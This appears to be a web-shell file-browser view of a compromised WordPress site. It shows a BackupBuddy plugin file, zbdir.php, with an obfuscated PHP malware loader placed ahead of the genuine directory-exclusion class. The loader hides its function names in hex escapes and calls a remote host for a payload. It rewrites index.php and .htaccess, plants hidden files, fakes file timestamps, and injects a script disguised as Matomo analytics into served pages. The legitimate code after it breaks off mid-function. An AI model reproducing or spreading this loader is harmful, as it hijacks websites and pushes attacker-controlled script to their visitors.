0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
lib
/
xzipbuddy
/
[
Home
]
File: zbdir.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * pluginbuddy_zbdir Class * * Provides a directory class for zipbuddy for building a directory tree for backup * * Version: 1.0.0 * Author: * Author URI: * */ if ( !class_exists( "pluginbuddy_zbdir" ) ) { /** * pluginbuddy_zbdir_xclusion Class * * Abstract class for handling file/directory exclusions or inclusions * * All xclusions must be either all relative to the same root path or all * absolute paths. * All xclusions must have normalized directory separators * All xclusions must start with / if relative to a root path * All dir xclusions must terminate in / (normalized directory separator) * All xclusions must be at least one character long * All pattern exclusions must be value PCRE syntax * * If xclusions are absolute paths then the specific form will depend on the * platform but must still be normalized as noted above. * * FFS: If xclusions are given as relative then a root path must also be set if any * operations requiring absolute paths are required. Such a root path may be passed * as an option at object creation or subsequently set or may be passed as an option * to any method as appropriate where it will be used in conjunction with the * relative xclusion paths. Not sure if this will be required and in any case it may * well give a high performance hit in some cases so probably better to build a * new xclusions object using the absolute paths. * * @return null * */ abstract class pluginbuddy_zbdir_xclusion { const NORM_DIRECTORY_SEPARATOR = '/'; const LAST_CHARACTER = -1; const ALL_XCLUSIONS = 'all'; const DIR_XCLUSIONS = 'dir'; const FILE_XCLUSIONS = 'file'; const UNKNOWN_XCLUSIONS = 'unknown'; const PATTERN_XCLUSIONS = 'pattern'; const DELIMITER = '!'; const ESCAPED_DELIMITER = '\!'; protected $_files = array(); protected $_dirs = array(); protected $_all = array(); protected $_patterns = array(); protected $_options = array(); protected $_root = ''; protected $_pattern_auto_delimit = true; protected static $_default_options = array( 'root' => "", 'pattern_auto_delimit' => true ); /** * __construct() * * Construct the object with possible initial array of xclusions * The options may contain a "root" directory which would be the root of the * xclusion paths. For every "unknown" xclusion addition that does not have a * traling slash the root will be prepended to the xclusion and a test of whether * it is a directory made - if this returns false (either because it is not a * directory (or not one that currently exists) or because it is a file then the * xclusion will be treated as a file. The root may be empty if the xclusions are * actually absolute in which case the test on the xclusion itself would indicate * whether it was a directory or not. * * @param array $unknowns (Optional) Possible set of xclusions that could be file and/or directory xclusions * @param array $options (Optional) Possible name=>value options * @return none * */ public function __construct( array $unknowns = array(), array $options = array() ) { // Get our options based on defaults or passed values $this->_options = array_merge( self::$_default_options, $options ); $this->_root = $this->_options[ 'root' ]; $this->_pattern_auto_delimit = $this->_options[ 'pattern_auto_delimit' ]; self::add( $unknowns ); } /** * __destruct() * * Destroy the object - all object storage will be recoverd by default * * @param none * @return none * */ public function __destruct() { } /** * get() * * Get required type of xclusions as array * * @param mixed $type (optional) Const value that indicates the type of xclusions to get * @return array The requested xclusions (could be empty) * */ public function get( $type = self::ALL_XCLUSIONS ) { switch ( $type ) { case self::DIR_XCLUSIONS: $xclusions = $this->_dirs; break; case self::FILE_XCLUSIONS: $xclusions = $this->_files; break; case self::PATTERN_XCLUSIONS: $xclusions = $this->_patterns; break; case self::ALL_XCLUSIONS: default: $xclusions = $this->_all; } return $xclusions; } /** * get_dir() * * Get directory type of xclusions as array * * @param none * @return array The requested xclusions (could be empty) * */ public function get_dir() { return self::get( self::DIR_XCLUSIONS ); } /** * get_file() * * Get file type of xclusions as array * * @param none * @return array The requested xclusions (could be empty) * */ public function get_file() { return self::get( self::FILE_XCLUSIONS ); } /** * get_pattern() * * Get pattern type of xclusions as array * * @param none * @return array The requested xclusions (could be empty) * */ public function get_pattern() { return self::get( self::PATTERN_XCLUSIONS ); } /** * add() * * Add an array of xlcusions to any existing xclusions * * @param array $xclusions The xclusions to add - could be directory/file/pattern type * @return object Reference to this object * */ public function add( array $xclusions = array(), $type = self::UNKNOWN_XCLUSIONS ) { switch( $type ) { case self::DIR_XCLUSIONS: $this->_dirs = array_unique( array_merge( $this->_dirs, $xclusions ) ); break; case self::FILE_XCLUSIONS: $this->_files = array_unique( array_merge( $this->_files, $xclusions ) ); break; case self::PATTERN_XCLUSIONS: $this->_patterns = array_unique( array_merge( $this->_patterns, $xclusions ) ); break; case self::UNKNOWN_XCLUSIONS: default: foreach ( $xclusions as $xclusion ) { if ( self::NORM_DIRECTORY_SEPARATOR === substr( $xclusion, self::LAST_CHARACTER ) ) { $this->_dirs[] = $xclusion; } else { // With no trailing slash this _may_ be a file or directory exclusion so // we'll try and test for it being a directory and base the decision on // whether we can determine that or not. if ( @is_dir( $this->_root . $xclusion ) ) { // Tests as a directory - must add the trailing separator $this->_dirs[] = $xclusion . self::NORM_DIRECTORY_SEPARATOR; } else { // Either definitely a file or the test was inclonclusive because // perhaps we didn't haev a complete directory path to test $this->_files[] = $xclusion; } } } $this->_dirs = array_unique( $this->_dirs ); $this->_files = array_unique( $this->_files ); } // Always refresh the combined array whatever has been added // Note: All xclusions does _not_ include pattern xclusions $this->_all = array_unique( array_merge( $this->_dirs, $this->_files ) ); return $this; } /** * add_file() * * Add an array of type file xlcusions to any existing file xclusions * * @param array $xclusions The xclusions to add * @return object Reference to this object * */ public function add_file( array $xclusions = array() ) { return self::add( $xclusions, self::FILE_XCLUSIONS ); } /** * add_dir() * * Add an array of directory file xlcusions to any existing directory xclusions * * @param array $xclusions The xclusions to add * @return object Reference to this object * */ public function add_dir( array $xclusions = array() ) { return self::add( $xclusions, self::DIR_XCLUSIONS ); } /** * add_pattern() * * Add an array of type pattern xlcusions to any existing pattern xclusions * Add delimiters if we are auto-delimiting. If an auto delimit option is given * then will override the default, otherwise the default will be used. * * @param array $xclusions The xclusions to add * @param bool $auto_delimit True to auto-delimit patterns, false to not, null to use default * @return object Reference to this object * */ public function add_pattern( array $xclusions = array(), $auto_delimit = null ) { $add_delimiter = ( is_bool( $auto_delimit ) ) ? $auto_delimit : $this->_pattern_auto_delimit ; if ( true === $add_delimiter ) { foreach ( $xclusions as &$xclusion ) { // If our delimiter appears in the pattern we must escape it $xclusion = self::DELIMITER . str_replace( self::DELIMITER, self::ESCAPED_DELIMITER, $xclusion ) . self::DELIMITER; } // Not strictly necessary but just so we remember unset( $xclusion ); } return self::add( $xclusions, self::PATTERN_XCLUSIONS ); } /** * matches() * * Does the path match any member of the set * * @param string $path The path to test for match to the set members * @param string $type The set members to test against * @return bool True if matches any in set, otherwise False * */ public function matches( $path = '', $type = 